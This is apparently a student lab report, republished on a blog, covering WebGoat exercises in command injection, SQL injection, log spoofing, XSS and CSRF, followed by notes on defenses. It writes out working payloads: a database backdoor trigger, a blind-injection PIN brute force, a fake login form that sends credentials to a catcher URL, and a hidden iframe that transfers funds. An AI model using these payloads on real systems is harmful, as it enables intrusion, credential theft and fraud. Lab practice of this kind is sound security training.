zoukankan      html  css  js  c++  java
  • 20145221高其_Web安全基础实践

    20145221高其_Web安全基础实践

    目录

    实践目标

    • (1)理解常用网络攻击技术的基本原理。
    • (2)Webgoat实践下相关实验。

    WebGoat

    • WebGoat是由著名的OWASP负责维护的一个漏洞百出的J2EE Web应用程序,这些漏洞并非程序中的bug,而是故意设计用来讲授Web应用程序安全课程的。这个应用程序提供了一个逼真的教学环境,为用户完成课程提供了有关的线索。
    • 因为WebGoat是基于java开发的软件,所以它具有平台无关性,在各种操作平台上都可以运行,所以本次实验所处的系统为kali机
    • 在命令行中输入以下指令即可运行相关jar
      • java -jar webgoat-container-7.0.1-war-exec.jar
    • WebGoat默认使用8080端口,所以在看到相关提示后即可开始:INFO: Starting ProtocolHandler ["http-bio-8080"]

    BurpSuite

    • Burp Suite 是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程。
    • 配置本机BurpSuite
      • Proxy->Option中选择add添加项,设置代理IP及其端口(我设置的是8088和127.0.0.1),添加完毕后选择run启动
      • 在浏览器中(以火狐举例),在Preferences->Advanced中选择Settings,勾选Manual proxy configuration,输入刚刚设置的IP与端口即可
      • 然后在Proxy->intercept点击`“Intercept is off”,即可启用代理

    Injection Flaws

    Command Injection

    • 这个界面可以执行系统命令并返回给用户,所以应该在请求项里面添加shell命令,执行ifconfig
    • 具体来说,就是用前文提到的BurpSuite工具拦截请求,并将其中的参数改为(我的是这样):
      • AccessControlMatrix.help"& ifconfig"
      • 表示执行这2个指令,在网页的最后能看到ifconfig的结果,成功

    Numeric SQL Injection

    • 要求:尝试用SQL注入,使得能查到所有的天气
    • 思路也很简单,直接构造永真式,即可查找到所有记录
    • 既可以按照上一题的思路用工具捕包修改,也可以直接按F12修改网页源文件,将需要查找的value改为:101 or 1=1
    • 点击go,看到所有城市的天气,成功

    Log Spoofing

    • 题目的意思是要你写一个SQL字符串,因为网页会将你输入错误的用户名返回给你,所以我们的目标是使得网页返回给你的结果显示的你登录成功一样
    • 所以在用户名那构造语句:gq%0d%0aLogin Succeeded for username: admin

    LAB:SQL Injection

    Stage 1:String SQL Injection

    • 根据描述,是要求你在不知道密码的前提下,还能登录成功
    • 那也就只能用SQL注入了,利用SQL相关语法,利用'进行前后封闭,构成一个永真式,这一题较为基础,构造方法也很多,我用的是'or 1='1
    • 需要注意的是:如果直接写永真式,会超过字符长度限制,而一般永真式超过了限制的8字符,所以得F12查看源代码,对密码输入长度进行扩大,再进行注入;或者可以构造一个密码,使得尽量提前封闭,如我上述的密码,刚好8个字符。
    • 为了能取得权限,最好选择admin登录,最后左边栏会有提示成功

    Stage 2:Parameterized Query #1

    • 这个没有测试成功,最后才发现题目中有这样一句话,可能只有开发版的才可以成功吧
    • THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

    Stage 3:Numeric SQL Injection

    • 题目要求:登录Larry账户,但是能查看Boss的信息
    • 所以首先根据Stage 1中的万能密钥取得Larry权限,这样我们就可以点击ViewProfile来查看相关信息了,显然此时只能查到自己的信息
    • 但细究其原理不难发现与之前如出一辙,此时要查看老板信息,本质上还是查询数据库中字段为老板的那条记录并输出,所以仍然可以在请求时注入,不同的是此时没有输入框提供注入字符串,所以我们要借助前文所提到的BurpSuite工具,拦截此时的请求包,构造SQL请求参数,需要将employee_id的值改为101 or 1=1
    • 但测试后发现仍旧显示Larry的信息,猜想是不是因为界面太小只能显示一个?我这样的注入可以将所有的信息全查询到,那怎样让它输出的第一个就是我们想要的老板信息呢?
    • 仔细观察Larry的信息表可以发现有Salary这一字段,说明数据表中也存在,那么对于一个老板来说工资最高,我就可以以工资为条件,对查询结果进行个排序,构造SQL语句如下:
      • 101 or 1=1 order by salary desc
      • 成功,老板工资450k,毕竟老板!

    Stage 4:Parameterized Query #2

    • Stage 2,只能在开发版上成功

    String SQL Injection

    • 要求:要你输入正确的Last name登录进去
    • 显然我啥都不知道,只能用万能密钥试一试了,根据前文输入:
      • 'or 1='1
      • 成功,因为为永真,所以任何用户的信息都看见了

    Database Backdoors

    • 根据题目要求是要你使用多条语句的SQL注入,更新数据表
    • 根据前一篇博客的多条语句注入练习,在此,设置如下SQL语句:
      • 101; update employee set salary=10000
      • 发现数据表所有人员工资都等于10000已经更新,成功
    • 以上是第一步要求,第二步要求:更加高级的是插入后门,下边这个后门好象是创建新用户的时候会自动修改邮箱为你的邮箱
      • 101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid

    Blind Numeric SQL Injection

    • 数字盲注,有些时候存在SQL注入,但是获取不到我们需要的信息,此时可以通过SQL语句的条件判断,进行盲注。
    • 比如这一关,我们知道一个cc_number=1111222233334444,但是想知道其pin在pins table里的值,可以使用盲注进行爆破,输入
      • 101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
      • 打开BurpSuite工具监听,捕获到第一条请求报文,因为需要反复尝试我们可以通过该工具进行暴力破解
    • 右击报文选择send to intruder,然后在Intruder下选择相关设置:
      • Target中,设置本机IP地址HOST,和端口号,也就是WebGoat的地址和端口号
      • Positions中,选择Sniper模式,然后用光标选中需要暴力穷举的变量,在此处是account_number后的值,然后点击右侧的add添加(在此之前点击clear清空所有的)
      • Payloads中,选择type类型为number,然后设置变化范围,并设置步长为1,这样可以精确地找到数据包变化的number,从而便于我们确认位置
      • Options中,选择Start attack开始攻击
    • 找到数据包大小变化的位置2364,用2364登录,成功!

    Cross-Site Scripting (XSS)

    Phishing with XSS

    • 反射型XSS是最常用,也是使用得最广的一种攻击方式。它通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数被HTML解析、执行。它的特点是非持久化,必须用户点击带有特定参数的链接才能引起。
    • 将下边的代码输入到文本框,XSS会造成一个钓鱼的登录界面,用来骗取登录账户和密码
    </form>
      <script>
        function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
      </script>
    <form name="phish">
    <br><br>
    <HR>
      <H2>This feature requires account login:</H2>
    <br>
      <br>Enter Username:<br>
      <input type="text" name="user">
      <br>Enter Password:<br>
      <input type="password" name = "pass">
    <br>
      <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
    

    Stored XSS Attacks

    • 这是一种最典型的储存型XSS的例子,因为没有对用户的输入进行编码,所以用户A可以任意输入,然后用户B点击用户A的留言,触发了XSS,导致中招
    • 具体操作是这样的:
      • title可以任意输入,根据第一次尝试可以发现,输入的这个可以作为一个超链接更新保存在本界面,点击后即可查看输入内容
      • Message输入消息,可以嵌入一段js代码,用户点击后即可触发,例如输入:<script>alert("20145221 attack succeed!");</script>

    Reflected XSS Attacks

    • 根据题目可以知道这是一个反射型的XSS攻击,类同于第一个,在交互输入的位置有XSS漏洞,直接构造一段脚本即可发起攻击,例如输入以下代码即可成功:
      • <script>alert("20145221 attack succeed!");</script>

    Cross Site Request Forgery (CSRF)

    • 这里是一个储存型XSS和CSRF结合的示例,CSRF就是冒名登录,用代码伪造请求
    • 这里是把CSRF恶意代码利用储存型XSS放到了网页上,通过留言Message里输入,构造恶意代码如下
      • <iframe src="attack?Screen=504&amp;menu=900&amp;transferFunds=5000"></iframe>
      • 当用户点击这个留言,就会触发,显示已转走5000元
      • 注意:上述screen和menu参数的值和网站右边显示的要保持一致
      • 如果想让用户在不查觉的情况下,可以将<iframe>中的长和宽参数设为1像素,这样就看不见了

    总结

    SQL注入攻击原理,如何防御

    原理

    • 就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
    • 具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

    防御

    • 检查变量数据类型和格式
      • 如果你的SQL语句是类似where id={$id}这种形式,数据库里所有的id都是数字,那么就应该在SQL被执行前,检查确保变量id是int类型;如果是接受邮箱,那就应该检查并严格确保变量一定是邮箱的格式,其他的类型比如日期、时间等也是一个道理。总结起来:只要是有固定格式的变量,在SQL语句执行前,应该严格按照固定格式去检查,确保变量是我们预想的格式,这样很大程度上可以避免SQL注入攻击。
    • 过滤特殊符号
      • 对于无法确定固定格式的变量,一定要进行特殊符号过滤或转义处理。以PHP为例,通常是采用addslashes函数,它会在指定的预定义字符前添加反斜杠转义,这些预定义的字符是:单引号 (') 双引号 (") 反斜杠 () NULL。
    • 绑定变量,使用预编译语句
      • MySQL的mysqli驱动提供了预编译语句的支持,不同的程序语言,都分别有使用预编译语句的方法
      • 这样做的好处就是,如果我输入密码:'or 1='1,那他也只会被当作密码来处理,不会和sql语句其他结构关联

    XSS攻击的原理,如何防御

    原理

    • 恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的。

    防御

    • 一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤
    • 在输入方面对所有用户提交内容进行可靠的输入验证,提交内容包括URL、查询关键字、http头、post数据等
    • 在输出方面,在用户输内容中使用<XMP>标签。标签内的内容不会解释,直接显示。
    • 严格执行字符输入字数控制,因为XSS代码往往很多,所以要对字符数进行控制

    CSRF攻击原理,如何防御

    原理

    • 跨站请求伪造,攻击者盗用了你的身份,以你的名义发送恶意请求。
    • CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账
    • 造成的问题包括:个人隐私泄露以及财产安全。

    防御

    • 验证码
      • 可以在某些敏感操作过程中,加入验证码,以确认用户身份
    • Token
      • CSRF能攻击成功,根本原因是:操作所带的参数均被攻击者猜测到。既然知道根本原因,我们就对症下药,利用Token。当向服务器传参数时,带上Token。这个Token是一个随机值,并且由服务器和用户同时持有。当用户提交表单时带上Token值,服务器就能验证表单和session中的Token是否一致。

    实验感想

    • 在安全领域,一般用帽子的颜色来比喻黑客的善与恶,“白帽子”和”黑帽子”是就是两个完全对立的群体。对于黑帽子而言,他们只要找到系统的一个切入点就可以达到入侵破坏的目的,而白帽子必须将自己系统所有可能被突破的地方都设防,以保证系统的安全运行。
    • 看起来好像是不公平的,但是安全世界里的规则就是这样,可能我们的网站1000处都布防的很好,考虑的很周到,但是只要有一个地方疏忽了,攻击者就会利用这个点进行突破,让我们另外的1000处努力白费。
    • 而现在我们很多网络模型都是B/S结构,这样web安全问题就越来越突出了,本次实践只是冰山一角,真正现实中可能会遇到更多更复杂的问题。
  • 相关阅读:
    85. Maximal Rectangle
    120. Triangle
    72. Edit Distance
    39. Combination Sum
    44. Wildcard Matching
    138. Copy List with Random Pointer
    91. Decode Ways
    142. Linked List Cycle II
    异或的性质及应用
    64. Minimum Path Sum
  • 原文地址:https://www.cnblogs.com/20145221GQ/p/6842878.html
Copyright © 2011-2022 走看看